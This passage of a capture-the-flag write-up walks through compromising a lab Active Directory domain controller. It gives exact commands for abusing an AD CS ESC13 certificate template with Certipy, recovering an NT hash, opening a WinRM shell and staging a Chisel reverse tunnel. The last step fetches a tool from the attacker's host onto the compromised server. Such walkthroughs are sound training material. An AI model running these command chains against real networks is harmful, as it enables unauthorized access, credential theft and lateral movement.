# HTB: PingPong Writeup

**PingPong** is a deep dive into the complexities of Active Directory, where a seemingly ordinary assumed-breach account opens the door to a much larger compromise. The journey begins in the **PING** domain with an **AD CS ESC13 vulnerability**, where certificate issuance policies provide a path to *additional group privileges and remote access* to the first domain controller. From there, a forest trust provides a path into **PONG**, where **gMSA password retrieval, PowerShell history, Resource-Based Constrained Delegation (RBCD)** and **SQL Server privilege escalation** gradually expand access.

However, compromising the second domain controller is only part of the story. The real challenge lies in *connecting the dots across the forest trus*t, *extracting domain secrets* and *returning to* ***PING*** *to exploit a second certificate template vulnerability*: **AD CS ESC4**. By abusing excessive permissions over the **SmartcardAuthentication** template, it becomes possible to **modify its configuration, request a certificate for the PING Domain Administrator** and ultimately **compromise the first domain controller**.

It's a chain involving **two domains**, **two AD CS vulnerabilities** and several moving parts. As the name suggests, getting from one side to the other requires a little back-and-forth.

---

## About

- **OS:** Windows
- **Difficulty:** Insane
- **Release Date:** 25 Apr, 2026

---

## Machine Information

- Target IP Address — `10.129.159.165`
- Attacker IP Address — `10.10.15.37`
- Assume-Breach Username — `c.roberts`
- Assume-Breach Password — `AssumedBreach123`

![Machine Information](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/5ad109b8-15ae-4945-ab44-f151ff3bc026.png align="center")

## Workspace Preparation

- The first step was to create a dedicated working directory to keep scan results, configuration files, Kerberos tickets and other artifacts organized throughout the assessment:

```sh
mkdir PingPong && cd PingPong
```

![Workspace Preparation](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/8010868c-819f-4cdb-820a-e00643d580c4.png align="center")

## IP Address Confirmation and Connectivity Verification

- Before beginning enumeration, the active **HTB VPN interface** was checked to confirm that the attacking machine had successfully established a connection to the lab network:

```sh
ifconfig tun0
```

- With the VPN connection established, connectivity to the target machine was verified using ICMP echo requests:

```sh
ping -c 3 10.129.159.165
```

![IP Address check and Connectivity Verification](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/3e04ac62-9ccd-41bb-82b6-694b826dcebd.png align="center")

- All three packets received responses, with no packet loss. This confirmed that the target was reachable through the HTB VPN.
- The **TTL** value of **127** also suggested a Windows-based target, although TTL values alone are not definitive indicators of an operating system.

## Network Enumeration

- An initial TCP port scan was performed using **Nmap** to *identify open ports*, *determine the services running on them* and *collect additional information* about the target:

```sh
sudo nmap -sCV --reason -oN pingpong.nmap 10.129.159.165
```

![Network Enumeration using Nmap](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/e0c16bd4-ce14-4558-8a93-600b16eeffb4.png align="center")

- Several Services immediately stood out, particularly those commonly associated with Microsoft Active Directory environments.

### Understanding the Exposed Services

- **Exposed Ports and Services:**
  - `Port 53 (DNS)`: Used for domain name resolution and locating Active Directory services.
  - `Port 88 (Kerberos)`: Authentication protocol commonly used in Active Directory domains.
  - `Port 135 (MSRPC)`: Microsoft Remote Procedure Call services.
  - `Port 139 (NetBIOS)`: Supports legacy network communication and file-sharing functionality.
  - `Port 389 (LDAP)`: Provides directory access and querying functionality.
  - `Port 445 (SMB)`: Used for Windows file sharing and other network operations.
  - `Port 464 (Kerberos Password Change)`: Supports Kerberos password-change operations.
  - `Port 593 (RPC over HTTP)`: Allows RPC communication over HTTP.
  - `Port 636 (LDAPS)`: LDAP over TLS for encrypted directory communication.
  - `Port 2179 (VMRDP)`: Associated with Hyper-V virtual machine connections.
  - `Port 3268 (Global Catalog LDAP)`: Provides Active Directory forest-wide directory searches.
  - `Port 3269 (Global Catalog LDAPS)`: Encrypted Global Catalog access.
  - `Port 5985 (WinRM)`: Windows Remote Management over HTTP.
- The combination of *DNS, Kerberos, LDAP, SMB* and *Global Catalog* services strongly suggested that the target was an Active Directory Domain Controller.
- Additional information from the LDAP service identified the domain as `ping.htb`, while the SSL certificates revealed the following **DNS names**:

```plaintext
dc1.ping.htb
ping.htb
PING
```

- The service information also identified the hostname as `DC1` and confirmed that the target was running Windows.
- Another important observation came from the SMB security scripts which indicated that SMB signing was enabled and enforced. SMB signing provides message integrity by attaching cryptographic signatures to SMB messages, helping protect against certain relay and tampering attacks.
- The scan also reported a clock skew with an approximately **eight-hour difference** between the *attacking machine's clock* and the *domain controller's clock*. This would become particularly important during Kerberos authentication, which is sensitive to time differences between clients and domain controllers.

## Hosts Configuration

- Although the target could be accessed directly through its IP address, Active Directory environments rely heavily on DNS names. Kerberos authentication, in particular, uses **Service Principal Names (SPNs)** and **hostname-based service identification**.
- To simplify subsequent enumeration and authentication, the target's hostname and domain were added to the local `/etc/hosts` file.
- **NetExec** was used to identify the target's hostname and domain information and generate an appropriate hosts file:

```sh
nxc smb 10.129.159.165 --generate-hosts-file pingpong_hosts
```

![Hosts Configuration](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/49f17ef5-cce5-43c7-8043-2082b7f300d3.png align="center")

- The entries were then appended to `/etc/hosts` using:

```sh
cat pingpong_hosts | sudo tee -a /etc/hosts
```

- The final configuration was then verified.
- With the mappings in place, the domain controller could now be referenced using `DC1.ping.htb`, `ping.htb` or `DC1` instead of repeatedly specifying its IP address.

## Credentials Authentication

- The machine was accessed under an assume-breach scenario.
- The first step was to determine which authentication mechanisms were supported by the target and whether the supplied credentials were valid.
- A basic SMB enumeration was performed using NetExec:

```sh
nxc smb DC1.ping.htb
```

![Assume-Breach Credential Authentication](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/785576b0-4855-4f11-9f3c-17c27a7114e2.png align="center")

- The output provided additional confirmation of the target's environment:
  - `name:DC1` - Identified the hostname.
  - `domain:ping.htb`\- Confirmed the Active Directory domain.
  - `signing:True`\- Indicated that SMB signing was enabled.
  - `SMBv1:False` - Confirmed that the legacy `SMBv1` protocol was disabled.
  - `NTLM:False` - Indicated that NTLM authentication was not supported by the SMB service.
  - `DC:True` - Confirmed that the target was identified as a domain controller.
- The supplied credentials were then tested against SMB using the default authentication mechanisms:

```sh
nxc smb DC1.ping.htb -u c.roberts -p 'AssumedBreach123'
```

- The authentication attempt returned `STATUS_NOT_SUPPORTED`. Given the earlier discovery that NTLM was disabled, this suggested that the default NTLM-based authentication attempt was unsuitable for the target.
- Since Kerberos was available on **port 88**, the authentication attempt was repeated using the **\-k** option to request Kerberos authentication:

```sh
nxc smb DC1.ping.htb -u c.roberts -p 'AssumedBreach123' -k
```

- This time, the error was different `KRB_AP_ERR_SKEW`.
- This Kerberos error indicated that the clocks of the client and the **Key Distribution Center (KDC)** were too far apart.
- To resolve the time discrepancy, `ntpdate` was used to synchronize the attacking machine's clock with the domain controller:

```sh
sudo ntpdate DC1.ping.htb 
```

- With time discrepancy resolved, the SMB authentication attempt was repeated:

```sh
nxc smb DC1.ping.htb -u c.roberts -p 'AssumedBreach123' -k
```

- Authentication succeeded. The successful response confirmed that the supplied credentials were valid and that Kerberos authentication was working against the SMB service.
- The same credentials were then tested against LDAP:

```sh
nxc ldap DC1.ping.htb -u c.roberts -p 'AssumedBreach123' -k 
```

- LDAP Authentication was also successful, confirming that the credentials could be used to authenticate against another Active Directory service.

### Investigating WinRM Access

- Since **TCP port 5985** was open, the next step was to determine whether the compromised account could obtain a remote shell through **Windows Remote Management (WinRM)**.
- The first attempt used **NetExec**:

```sh
nxc winrm DC1.ping.htb -u c.roberts -p 'AssumedBreach123'
```

- The error suggested that the WinRM authentication attempt was encountering an NTLM compatibility limitation. NetExec's WinRM authentication implementation was not successfully handling the targets authentication configuration.
- Importantly, this result did not establish that the credentials were invalid. SMB and LDAP authentication had already confirmed that they were valid.
- To investigate further, a Kerberos ticket was requested using **Impacket's** `getTGT.py` utility:

```sh
impacket-getTGT 'ping.htb/c.roberts:AssumedBreach123'
```

![c.roberts TGT Generation](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/e98f549e-734e-4d9f-bc4c-6739c0011f8d.png align="center")

- The `getTGT` utility requests a **Ticket Granting Ticket (TGT)** from the domain controller using the supplied domain credentials.
- A successful request resulted in a Kerberos credential cache file name `c.roberts.ccache`.
- The `KRB5CCNAME` environment variable was then used to specify this ticket when attempting to establish a WinRM session through `evil-winrm-py`

```sh
KRB5CCNAME=c.roberts.ccache evil-winrm-py -i DC1.ping.htb -k 
```

- However, the connection failed. The error indicated that the Kerberos client could not locate a KDC for the realm `PING.HTB`.
- Although the TGT had been successfully obtained, the Kerberos client still needed a valid realm and KDC configuration to perform subsequent authentication operations.

### Configuring Kerberos Realm Resolution

- To address the KDC discovery issue, a Kerberos configuration file was generated using NetExec:

```sh
nxc smb DC1.ping.htb -u c.roberts -p 'AssumedBreach123' -k --generate-krb5-file pingpong_krb5.conf
```

![KRB5 File Generation and Configuration](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/36594348-8150-4441-a232-3314f298b267.png align="center")

- The generated configuration was then exported through the `KRB5_CONFIG` environment variable:

```sh
export KRB5_CONFIG=pingpong_krb5.conf
```

- This instructs **Kerberos-aware** applications to use the specified configuration file instead of the default system configuration.
- The environment variable was verified:

```sh
env | grep KRB5_CONFIG
```

![WinRM Access as c.roberts Attempt](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/ef5e54f2-09ff-42b5-8eca-8b8f03ead83c.png align="center")

- With the configuration in place, the WinRM connection was attempted again using the previously obtained TGT:

```sh
KRB5CCNAME=c.roberts.ccache evil-winrm-py -i DC1.ping.htb -k
```

- The error had changed, indicating that the previous KDC discovery problem was no longer being reported. However, Kerberos authentication through WinRM still failed.

## Share Enumeration

- With valid credentials established for both SMB and LDAP, the next step was to enumerate accessible SMB shares. These shares can expose configuration files, scripts, group policies and other information that may help uncover weaknesses in an Active Directory.
- NetExec was used to enumerate the available shares:

```sh
nxc smb DC1.ping.htb -u c.roberts -p 'AssumedBreach123' -k --shares
```

![Share Enumeration using NetExec](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/1d845637-d798-4e2e-8ebb-8a4fe4c38329.png align="center")

- The account had explicitly reported **READ** access to `IPC$`, `NETLOGON` and `SYSVOL`. No permissions were displayed for the administrative shares. Nothing interesting here.

## Users Enumeration

- The next step was to enumerate domain user accounts through LDAP:

```sh
nxc ldap DC1.ping.htb -u c.roberts -p 'AssumedBreach123' -k --users
```

![Users Enumeration using NetExec](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/0e410cc4-181b-4815-b455-78721e618724.png align="center")

- The command returned 25 users.
- The enumeration revealed the domain contained a number of accounts associated with different IT and security roles. The descriptions provided useful organizational context, identifying users such as the I*T Manager, IT Director, Network Engineer* and *Security Specialist*.

## Interface and Domain Controller Enumeration

- An interesting aspect of Active Directory environments is that a domain controller may have multiple network interfaces, including interfaces connected to internal networks that are not directly accessible from the attacking machine.
- To investigate the network configuration of DC1, NetExec was used to enumerate its network interfaces:

```sh
nxc smb DC1.ping.htb -u c.roberts -p 'AssumedBreach123' -k --interfaces
```

![Interfaces and Domain Controller Enumeration using NetExec](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/f8bdcf4b-30e0-464f-ae00-e62ce957afde.png align="center")

- The output revealed two network Interfaces:
  - Interface 1 with an IP Address of `10.129.159.165` - HTB target network.
  - Interface 2 with an IP Address of `192.168.2.1` - Internal network.
- The second interface was particularly interesting. It indicated that DC1 was also connected to an internal network using the `192.168.2.0/24` address space.
- To investigate further, the domain controller list was enumerated through LDAP:

```sh
nxc ldap DC1.ping.htb -u c.roberts -p 'AssumedBreach123' -k --dc-list
```

- The enumeration identified another domain controller: `dc2.pong.htb` : `192.168.2.2`
- More importantly, the output revealed a **bidirectional forest-transitive trust** relationship between `ping.htb` and `pong.htb`.

### Understanding the Forest Trust

- An **Active Directory forest** is a collection of one or more domains that share a common schema, configuration and Global Catalog.
- A **forest-transitive trust** allows authentication relationships to extend across the domains within the trusted forests, subject to the trust configuration and applicable security restrictions.
- A **bidirectional trust** means that each side has a trust relationship with the other. However, this does not automatically grant every user access to resources in both domains. Actual access depends on *authorization, group membership, trust restrictions* and *other security controls*.

## Computers and Group Managed Service Account (`gMSA`) Enumeration

- Computer accounts represent machines joined in an Active Directory domain. They typically use account names ending in `$`.
- **gMSAs** are special Active Directory accounts designed to provide automated password management for services. Instead of requiring administrators to manually maintain service account passwords, Active Directory manages and periodically rotates their passwords.
- The computer accounts were enumerated using:

```sh
nxc ldap DC1.ping.htb -u c.roberts -p 'AssumedBreach123' -k --computers
```

![Computer Enumeration using NetExec](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/554a4511-47b0-4c1a-9606-9a2ccea1ec59.png align="center")

- Two computer-related objects were returned: `DC1$` and `gMSA$`.
- The first represented the domain controller's computer account, while the second was an account associated with the gMSA object.
- To investigate whether the gMSA account's managed password could be retrieved, NetExec's gMSA enumeration functionality was used:

```sh
nxc ldap DC1.ping.htb -u c.roberts -p 'AssumedBreach123' -k --gmsa
```

- Although the gMSA account was identified, the current account did not have permission to retrieve its managed password.

## Kerberoasting and AS-REP Roasting

- The next step was to investigate two common Kerberos attack techniques: `Kerberoasting` and `AS-REP Roasting`.

### Kerberoasting

- **Kerberoasting** targets accounts configured with **Service Principal Names (SPNs)**.
- When a domain user requests a Kerberos service ticket for an SPN, the ticket's encrypted portion is protected using the *service account's password-derived key*. An attacker who can obtain the ticket may attempt to crack it offline to recover the underlying password.
- NetExec was used to identify potentially vulnerable accounts:

```sh
nxc ldap DC1.ping.htb -u c.roberts -p 'AssumedBreach123' -k --kerberoast kerberoast
```

![Kerberoast and AS-Rep Roast Accounts Enumeration using NetExec](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/0a7f64e2-aa3a-4cf4-9477-7af6b3045067.png align="center")

- No Kerberoastable accounts were returned.

### AS-REP Roasting

- **AS-REP Roasting** targets domain accounts configured with the `Do not require Kerberos preauthentication` setting.
- Normally, Kerberos preauthentication requires a client to demonstrate knowledge of its credentials before the KDC issues an authentication response. When preauthentication is disabled for an account, an attacker may request an AS-REP response without first proving knowledge of the account's password.
- The encrypted portion of the response can then be subjected to offline password cracking.
- The following command was used:

```sh
nxc ldap DC1.ping.htb -u c.roberts -p 'AssumedBreach123' -k --asreproast asreproast
```

- No accounts meeting the AS-REP Roasting criteria were discovered.

## Active Directory Certificate Services (AD CS) Enumeration

- **Active Directory Certificate Services (AD CS)** is Microsoft's **Public Key Infrastructure (PKI)** implementation for issuing and managing digital certificates within an Active Directory environment.
- Certificates can be used for several purposes, including user authentication, computer authentication, secure email and encryption.
- With **improperly configured**, certificate authorities and certificate templates can introduce privilege-escalation opportunities. Certain configurations allow users to enroll in certificate templates and obtain certificates that provide authentication capabilities beyond their intended permissions.
- To determine whether AD CS was deployed in the `ping.htb` domain, NetExec's AD CS module was executed:

```sh
nxc ldap DC1.ping.htb -u c.roberts -p 'AssumedBreach123' -k -M adcs
```

![AD CS Enumeration using NetExec](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/76215466-0102-4f3f-a457-a7ffee1edbda.png align="center")

- The results confirmed that AD CS was deployed on `DC1.ping.htb`, with the Certificate Authority named `ping-DC1-CA`.
- This made certificate-template enumeration the next logical step.

## Certificate Template Enumeration with Certipy

- To enumerate potentially vulnerable certificate templates:

```sh
KRB5CCNAME=c.roberts.ccache certipy-ad find -dc-ip 10.129.159.165 -target DC1.ping.htb -k -vulnerable -stdout
```

![Certificate Template Enumeration with Certipy](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/ed6f7dcd-e6a1-4675-a4c1-3e8e08ddea37.png align="center")

![Certificate Template Enumeration with Certipy Continuation](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/f6f49d90-c12c-478f-bdf4-9b60d4ce3ed0.png align="center")

- Among the enumerated certificate templates, Certipy identified one particularly interesting template `TemporaryWinRM` template which was enabled and supported client authentication.
- More importantly, its issuance policy was associated with a domain group named `TempWinRMAccess`.
- This relationship was significant because the template was also flagged by `Certipy` as vulnerable to `ESC13`.

### Understanding ESC13

- **ESC13** is an *Active Directory Certificate Services escalation technique* involving issuance policies linked to Active Directory security groups.
- In this configuration, a certificate template is associated with an issuance policy that is linked to a particular security group.
- When an eligible user enrolls in the certificate template and obtains a certificate, the issuance policy can cause the corresponding group membership to be reflected in the user's authorization context, depending on the certificate and domain configuration.
- This can potentially grant the user additional privileges through the linked group without requiring direct membership changes to the user's Active Directory account.
- In this case, the relevant relationship was:

```sh
TemporaryWinRM Certificate Template → Issuance Policy → TempWinRMAccess → Potential WinRM Access
```

- The output further confirmed that ordinary domain users were permitted to enroll in the template.

```plaintext
[+] User Enrollable Principals      : PING.HTB\Domain Users
```

- Certipy summarized the finding as:

```plaintext
[!] Vulnerabilities
      ESC13                             : Template allows client authentication and issuance policy is linked to group 'CN=TempWinRMAccess,CN=Users,DC=ping,DC=htb'.
```

- The `TemporaryWinRM` template combined three important properties:
  1. It was enabled and supported client authentication.
  2. Domain Users had enrollment permissions.
  3. Its issuance policy was linked to the `TempWinRMAccess` group.
- Together, these properties presented a potential path for obtaining additional privileges through **certificate enrollment** and the **ESC13 mechanism**.

## Active Directory Objects Collection with RustHound-CE

- With the initial enumeration complete and a potentially vulnerable AD CS template identified, the next step was to build a broader picture of the Active Directory environment.
- Collecting the required data using RustHound-CE:

```sh
rusthound-ce -d ping.htb -f DC1.ping.htb -u c.roberts -p 'AssumedBreach123' --ldaps -z
```

![Rusthound-CE Active Directory Object Data Collection](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/8c67171c-f778-4daa-8841-f3dab37d4e30.png align="center")

- The collection completed successfully, with RustHound-CE identifying several Active Directory objects and certificate-related configurations.
- The generated archive was ready for import into BloodHound for further analysis.

## BloodHound Analysis

- With the collection complete, BloodHound was started using Docker Compose:

```sh
docker compose up -d
```

![Starting BloodHound Docker Compose Version](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/11c5c8a4-f54f-430e-9cb0-c5423c420344.png align="center")

- After accessing BloodHound, the generated RustHound-CE ZIP archive was uploaded and allowed to finish ingesting.

![Ingestion Process in BloodHound](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/cdfeb06d-c247-4b74-a752-0f0c4fcfae82.png align="center")

- Searching for `c.roberts` account and examining its `Member Of` relationships revealed membership in two groups:
  - `DOMAIN USERS`
  - `IT`

![c.roberts Group Membership in BloodHound](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/ea4ec7bb-f6e0-4f54-9319-ca46eaf7ef2b.png align="center")

- Examining `Outbound Object Control` relationships for `c.roberts` revealed that the account inherited enrollment access to the `TemporaryWinRM` certificate template through its membership in `DOMAIN USERS`.

![c.roberts Outbound Object Control Relationship in BloodHound](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/fa4dc921-e34d-4f3c-8643-c1f44cf89c9f.png align="center")

- This confirmed the earlier Certipy finding: the assume-breach account had the necessary enrollment permissions to request a certificate using the `TemporaryWinRM` template.
- The `IT` group was also examined to identify its members.

![IT Group Members in BloodHound](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/c14667e1-06f0-4d96-bca6-57029e45d437.png align="center")

- BloodHound confirmed a `CrossForestTrust` relationship between `PING.HTB` and `PONG.HTB`.

![Cross-Forest Trust Between PING.HTB and PONG.HTB](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/2eedaad0-1ece-445d-95de-ab860dc7dda6.png align="center")

![Cross-Forest Trust as Outbound Trusts of PING.HTB](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/1c38e1eb-5603-4387-ae7c-d508b66026e1.png align="center")

- BloodHound also exposed **certificate-related escalation** information within `PING.HTB`.

![Certificate-Related Escalations in PING.HTB](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/2aad993e-4b89-4b91-8cf9-59301d58ac56.png align="center")

- One particularly interesting finding was an **ESC4** path associated with the **CA MANAGERS** group.
- We will discuss this later.

## BloodyAD Enumeration

### Enumerating Writable Permissions

- The first step was to identify objects over which `c.roberts` had writable permissions:

```sh
KRB5CCNAME=c.roberts.ccache bloodyad --host DC1.ping.htb -d ping.htb -k get writable
```

![c.roberts Writable Permissions with BloodyAD](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/d026f62f-0ba1-47c7-88aa-d256e57336e9.png align="center")

- The account had **WRITE** permissions over its own user object and a Foreign Security Principal object. It also had **CREATE_CHILD** permissions over two DNS-related directory containers.
- Although these permissions were worth investigating, they did not immediately establish a direct privilege-escalation path.

### Enumerating Account Group Membership

- Next, the account's group memberships were retrieved directly using BloodyAD:

```sh
KRB5CCNAME=c.roberts.ccache bloodyad --host DC1.ping.htb -d ping.htb -k get membership c.roberts
```

![c.roberts Group Membership with BloodyAD](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/603cb229-55c0-4b0d-94d0-a8903d222b47.png align="center")

- The output confirmed membership in three groups:
  - `Users`
  - `Domain Users`
  - `IT`
- This direct LDAP enumeration corroborated the group membership relationships previously observed in BloodHound.

### Investigating the TemporaryWinRM Certificate Template

- BloodyAD's `get object` operation was used to retrieve the template's attributes:

```sh
KRB5CCNAME=c.roberts.ccache bloodyad --host DC1.ping.htb -d ping.htb -k get object "CN=TEMPORARYWINRM,CN=CERTIFICATE TEMPLATES,CN=PUBLIC KEY SERVICES,CN=SERVICES,CN=CONFIGURATION,DC=PING,DC=HTB"
```

![TemporaryWinRM Object Enumeration with BloodyAD](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/568a5c7a-d576-4287-9a03-c0835d34e9df.png align="center")

- The **distinguished name (DN)** identifies the certificate template within the Active Directory Configuration naming context and was obtained from BloodHound.
- The most relevant attribute was:

```sh
msPKI-Certificate-Policy: 1.3.6.1.4.1.311.21.8.5808481.4086498.12600997.2067446.8927163.214.489503.1996623
```

- The OID matched the issuance policy associated with the `TempWinRMAccess` group identified during the earlier Certipy enumeration.

## Requesting a Certificate Using `TemporaryWinRM`

- Certipy was used for the certificate request:

```sh
KRB5CCNAME=c.roberts.ccache certipy-ad req -ca ping-DC1-CA -template TemporaryWinRM -dc-ip 10.129.159.165 -dc-host DC1.ping.htb -target DC1.ping.htb -k 
```

![Certificate Request using TemporaryWinRM Template](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/e712337d-363f-4b6b-afd4-1a2d4f502514.png align="center")

- The first attempt **failed**.
- This was not an enrollment-permission failure. Certipy could not establish the required RPC connection to the Certificate Authority.
- A second attempt was made using the same command, and this time the certificate request **succeeded**.
- The Certificate Authority issued a certificate for `C.Roberts@ping.htb`.
- Certipy also retrieved the certificate's associated object SID and saved the certificate and private key in `c.roberts.pfx`.
- The successful request confirmed that `c.roberts` could enroll in the `TemporaryWinRM` template.

### Troubleshooting Intermittent RPC connection Failures

- To investigate the inconsistent behavior, DNS resolution for `DC1.ping.htb` was examined.
- The **dig** command was used to query the domain controller's DNS server:

```sh
dig +short DC1.ping.htb @10.129.159.165
```

- This revealed that `DC1.ping.htb` resolved to two IPv4 addresses:
  - `10.129.159.165` - The address reachable through the HTB VPN.
  - `192.168.2.1` - DC1's internal network interface.
- The DNS server returned these addresses in different orders across queries.
- This behavior was important because Certipy was resolving the hostname during its RPC connection process. When the internal address was returned first, the tool attempted to connect to an interface that was not reachable from the attacking machine.

### Confirming the Incorrect RPC Endpoint

- To understand exactly what was happening, the certificate request was repeated with Certipy's debug output enabled:

```sh
KRB5CCNAME=c.roberts.ccache certipy-ad req -ca ping-DC1-CA -template TemporaryWinRM -dc-ip 10.129.159.165 -dc-host DC1.ping.htb -target DC1.ping.htb -k -debug
```

![Troubleshooting Incorrect RPC Endpoint](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/804ddf59-2735-4438-942a-f2b4026cf7b6.png align="center")

- The debug output revealed the resolution and connection process.
- The critical lines were:

```plaintext
[+] Trying to connect to endpoint: ncacn_np:192.168.2.1[\pipe\cert]
[!] Failed to connect to endpoint ncacn_np:192.168.2.1[\pipe\cert]: [Errno Connection error 
```

- Certipy was attempting to reach the Certificate Authority through the internal interface at `192.168.2.1`, rather than the reachable HTB address.
- Since the internal interface was unreachable from the attacking machine, the connection timed out.

### Confirming the Successful Connection

- On the subsequent attempt, Certipy resolved the hostname differently and selected the reachable address:

```sh
KRB5CCNAME=c.roberts.ccache certipy-ad req -ca ping-DC1-CA -template TemporaryWinRM -dc-ip 10.129.159.165 -dc-host DC1.ping.htb -target DC1.ping.htb -k -debug
```

![Successful Connection using the Correct RPC Endpoint](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/ecfaf8c5-73a8-4e5f-ad4e-52a3a5c3b976.png align="center")

- This time, the RPC connection was established successfully through `10.129.159.165`, and the certificate was issued.
- This is a useful reminder that when a domain controller has multiple network interfaces, DNS resolution can influence which interface a tool attempts to use.

## Certificate-Based Authentication

- With `TemporaryWinRM` certificate successfully issued and saved, the next step was to use it for authentication.
- Certipy's `auth` command can authenticate using a certificate and its private key to request a Kerberos Ticket-Granting Ticket (TGT). This allows certificate-based authentication without relying on the account's plaintext password.
- Before proceeding, the existing credential cache was removed to avoid confusion between the previously obtained password-based credentials and the new certificate-based authentication:

```sh
rm c.roberts.ccache
```

- The certificate was then used to request a new TGT:

```sh
certipy-ad auth -pfx c.roberts.pfx -dc-ip 10.129.159.165
```

![TGT Request using the Obtained Certificate File](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/78edc249-e552-4a89-b6d0-fd7d262e7400.png align="center")

- Certipy successfully obtained a TGT and retrieved the account's NT hash.

## Obtaining a WinRM Session on DC1

- The earlier WinRM attempts had failed because the authentication method used by the NetExec invocation relied on NTLM, which the target did not support. This time, `evil-winrm-py` was used with Kerberos authentication:

```sh
KRB5CCNAME=c.roberts.ccache evil-winrm-py -i DC1.ping.htb -k
```

![Obtaining WinRM Session as c.roberts](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/8294bc1e-4730-4ced-b607-36dc0abe3fc1.png align="center")

- The connection succeeded and a remote PowerShell session was now available as `c.roberts`.
- None of the privileges enumerated established an immediate path to local administrator or domain administrator access.
- The account's profile directory showed only standard user profile directories. No obvious files of interest were identified at this stage.

### Inspecting the JEA Configuration

- During further enumeration, `C:\ProgramData` was inspected for potentially interesting directories and configuration files.

![JEA Directory Enumeration](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/e1b6772f-b03e-4e71-a134-2b6ab141ad08.png align="center")

- Among the listed directories was the `JEA` directory.
- The JEA directory contained a PowerShell session configuration file named `JEA.pssc`.
- The file was a PowerShell **Just Enough Administration (JEA)** session configuration.
- JEA is a Windows security feature designed to provide delegated administrative access through restricted PowerShell sessions. Rather than granting users unrestricted administrative access, administrators can expose specific commands and operations through a controlled endpoint.
- Two settings in this configuration are particularly relevant:
  - `SessionType = 'RestrictedRemoteServer'`: Specifies a restricted session type that limits the commands and functionality available through the session.
  - `LanguageMode = 'ConstrainedLanguage'`: Restricts PowerShell language features to reduce the ability to execute arbitrary code.
- The configuration suggests that JEA was being used or prepared on the host. However, the presence of a `.pssc` file alone does not establish that a JEA endpoint is registered, active or accessible to the current account. That would require further verification.

### Discovering Connectivity to the `PONG` Domain

- Recall that earlier enumeration revealed a second domain, `PONG.HTB`, with its domain controller at `192.168.2.2`.
- The machine's internal interface was `192.168.2.1`, placing both domain controllers on the same internal network.
- From the existing WinRM session on DC1, connectivity to the second domain controller was tested:

```sh
ping DC2.pong.htb
```

![DC2.pong.htb Connectivity verification](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/23d7219a-b84d-4978-81f4-c3761b38a36e.png align="center")

- The hostname resolved to `192.168.2.2`, and all four ICMP requests received replies.
- This confirmed that `DC1` could communicate with `DC2` over the internal network.

## Establishing a SOCKS Tunnel with Chisel

- **Chisel** is a fast TCP/UDP tunnelling tool that uses HTTP as its transport protocol. It supports reverse connections and SOCKS proxy functionality, making it useful when an internal network is reachable only through a compromised host.
- The plan was to establish a reverse SOCKS tunnel from DC1 back to the attacking machine. This would allow tools running on Kali to communicate with services on the internal network through DC1.

### Preparing the Windows Chisel Binary

- First, a working directory was created on the attacking machine:

```sh
mkdir www && cd www
```

- The **Windows AMD64** release of Chisel was downloaded from its GitHub releases page:

```sh
wget -q --show-progress "https://github.com/jpillora/chisel/releases/download/v1.12.0/chisel_1.12.0_windows_amd64.zip"
```

![Downloading Windows Version of Chisel](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/68c06dd7-8c58-48a8-a1e6-5595b11b242c.png align="center")

- The archive was extracted using 7-Zip:

```sh
7z x chisel_1.12.0_windows_amd64.zip
```

- The resulting executable was inspected:

```sh
file chisel.exe
```

- This confirmed that the downloaded file was a **64-bit Windows executable**.

### Transferring Chisel to DC1

- Before transferring the executable, its MD5 hash was recorded:

```sh
md5sum chisel.exe
```

![Transferring Chisel to DC1](https://cdn.hashnode.com/uploads/covers/6afd5e5c4339ff746b0dbdb9/8cf31b39-c98f-4e11-8ddc-eba385e2f10d.png align="center")

- A temporary HTTP server was then started from the directory containing `chisel.exe`:

```sh
python -m http.server
```

- From the WinRM session, the executable was downloaded into `C:\ProgramData`:

```sh
wget "http://10.10.15.37:8000/chisel.exe" -o chisel.exe
```

